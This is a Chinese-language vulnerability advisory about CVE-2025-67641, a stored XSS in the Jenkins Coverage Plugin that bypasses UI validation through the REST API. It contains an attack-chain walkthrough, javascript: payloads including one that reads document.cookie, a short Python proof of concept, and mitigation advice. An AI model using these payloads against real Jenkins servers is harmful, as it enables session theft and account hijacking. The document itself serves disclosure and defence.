IPBUF安全漏洞报告
English
CVE-2025-67641 CVSS 5.4 中危

CVE-2025-67641 Jenkins Coverage Plugin 存储型XSS漏洞

披露日期: 2025-12-10

漏洞信息

漏洞编号
CVE-2025-67641
漏洞类型
存储型XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Jenkins Coverage Plugin

相关标签

存储型XSSJenkinsCoverage PluginCVE-2025-67641REST API权限绕过Web安全Jenkins插件漏洞

漏洞概述

Jenkins Coverage Plugin 2.3054.ve1ff7b_a_a_123b_ 及之前版本存在一处存储型跨站脚本(Stored XSS)漏洞。该漏洞源于插件在创建coverage结果时未对配置的coverage结果ID进行安全验证,仅在通过Web UI提交作业配置时才进行验证。攻击者可以利用REST API绕过这一限制,使用javascript:伪协议URL作为标识符,当其他用户访问相关页面时触发恶意JavaScript代码执行。由于是存储型XSS,恶意脚本会持久化在系统中,对所有访问该页面的用户造成影响。此漏洞需要攻击者具备Item/Configure权限,属于低权限攻击场景,但结合用户交互要求,攻击利用存在一定局限性。

技术细节

漏洞存在于Jenkins Coverage Plugin的coverage结果ID验证逻辑中。正常情况下,插件在UI提交配置时会检查coverage结果ID的有效性,但通过REST API创建或更新coverage结果时跳过了这一验证步骤。攻击者可以构造如下请求:使用javascript:alert(document.domain)作为coverage结果ID,由于REST API端点未进行URL scheme过滤,该恶意值会被存储到数据库中。当受害用户浏览包含该coverage结果的页面时,浏览器会执行javascript:伪协议后的代码。攻击者可利用此漏洞窃取用户会话cookie、劫持用户操作或进行钓鱼攻击。修复方案需要在REST API处理流程中添加与UI相同的ID验证逻辑,过滤javascript:等危险URL scheme。

攻击链分析

STEP 1
Reconnaissance
攻击者识别目标Jenkins服务器上安装的Coverage Plugin版本,确认版本<=2.3054.ve1ff7b_a_a_123b_
STEP 2
Authentication
攻击者获取Jenkins账户并获得Item/Configure权限(低权限即可)
STEP 3
Craft Payload
攻击者构造XSS payload,使用javascript:伪协议作为coverage结果ID,如javascript:alert(document.cookie)
STEP 4
Exploitation via REST API
攻击者通过REST API发送POST请求创建coverage结果,由于API未验证ID,恶意payload被存储到数据库
STEP 5
Trigger
当其他用户(管理员或开发者)访问包含该coverage结果的页面时,浏览器解析javascript:URL并执行恶意脚本
STEP 6
Impact
攻击者成功窃取用户会话cookie、劫持用户操作或在上下文中执行任意JavaScript代码

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-67641 PoC - Jenkins Coverage Plugin Stored XSS via REST API # Target: Jenkins with Coverage Plugin <= 2.3054.ve1ff7b_a_a_123b_ TARGET_URL = "http://target-jenkins-server" JOB_NAME = "vulnerable-job" API_TOKEN = "attacker-api-token" USER_ID = "attacker-username" # Step 1: Create or update coverage result via REST API with XSS payload xss_payload = "javascript:alert(document.domain)" api_url = f"{TARGET_URL}/job/{JOB_NAME}/coverage/result" headers = { "Content-Type": "application/json", "Authorization": f"Basic {USER_ID}:{API_TOKEN}" } data = { "id": xss_payload, "name": "Malicious Coverage Result", "path": "/malicious" } # Send malicious request via REST API (bypasses UI validation) response = requests.post(api_url, headers=headers, json=data, verify=False) print(f"[*] Payload sent, status: {response.status_code}") print(f"[*] Response: {response.text}") # The XSS payload is now stored and will execute when users view the coverage page

影响范围

Jenkins Coverage Plugin <= 2.3054.ve1ff7b_a_a_123b_

防御指南

临时缓解措施
在官方修复版本发布前,可采取以下临时缓解措施:1) 临时禁用Coverage Plugin直到完成升级;2) 限制用户通过REST API创建coverage结果的权限;3) 在WAF/CDN层添加javascript:协议的过滤规则;4) 监控Jenkins日志中的异常coverage结果配置请求;5) 提醒用户不要点击来源不明的链接,定期清理浏览器cookie。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表